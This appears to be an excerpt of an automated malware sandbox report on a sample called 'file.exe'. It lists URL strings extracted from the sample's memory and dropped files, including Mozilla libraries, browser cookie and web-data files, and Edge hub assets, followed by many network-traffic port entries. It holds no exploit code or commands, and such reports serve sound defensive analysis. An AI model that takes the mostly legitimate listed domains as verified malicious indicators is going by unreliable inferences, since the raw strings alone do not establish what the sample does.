Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log9.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_538.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_538.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_538.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_538.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://gaana.com/
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: DBKKFCBAKKFBGCBFHJDG.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://m.kugou.com/
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://m.vk.com/
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.14.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.14.dr	String found in binary or memory: https://msn.comXIDv10X
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://music.amazon.com
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://music.apple.com
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log6.13.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log0.13.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log0.13.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.13.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.13.dr, 000003.log0.13.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log0.13.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376983598759831.13.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.13.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.13.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://open.spotify.com
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_538.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://srtb.msn.com/
Source: IJECBGIJDGCAEBFIIECAKFHIJE.0.dr	String found in binary or memory: https://support.mozilla.org
Source: IJECBGIJDGCAEBFIIECAKFHIJE.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: IJECBGIJDGCAEBFIIECAKFHIJE.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://tidal.com/
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.13.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.13.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.13.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://web.telegram.org/
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://web.whatsapp.com
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2740203120.000000002329E000.00000004.00000020.00020000.00000000.sdmp, DBKKFCBAKKFBGCBFHJDG.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2386013933.0000000000727000.00000004.00000020.00020000.00000000.sdmp, KEHCAFHI.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.13.dr, content.js.13.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2386013933.0000000000727000.00000004.00000020.00020000.00000000.sdmp, KEHCAFHI.0.dr, Web Data.13.dr, GDHIIIIE.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: c648f0b4-f22b-4423-8188-85e3d68b5e8b.tmp.14.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_538.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_538.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_538.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://www.instagram.com
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://www.last.fm/
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://www.messenger.com
Source: IJECBGIJDGCAEBFIIECAKFHIJE.0.dr	String found in binary or memory: https://www.mozilla.org
Source: IJECBGIJDGCAEBFIIECAKFHIJE.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: IJECBGIJDGCAEBFIIECAKFHIJE.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: IJECBGIJDGCAEBFIIECAKFHIJE.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: IJECBGIJDGCAEBFIIECAKFHIJE.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://www.office.com
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: file.exe, 00000000.00000002.2740203120.000000002329E000.00000004.00000020.00020000.00000000.sdmp, DBKKFCBAKKFBGCBFHJDG.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://www.tiktok.com/
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://www.youtube.com
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 53179 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 53134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 53191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 53132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 53135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 53158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
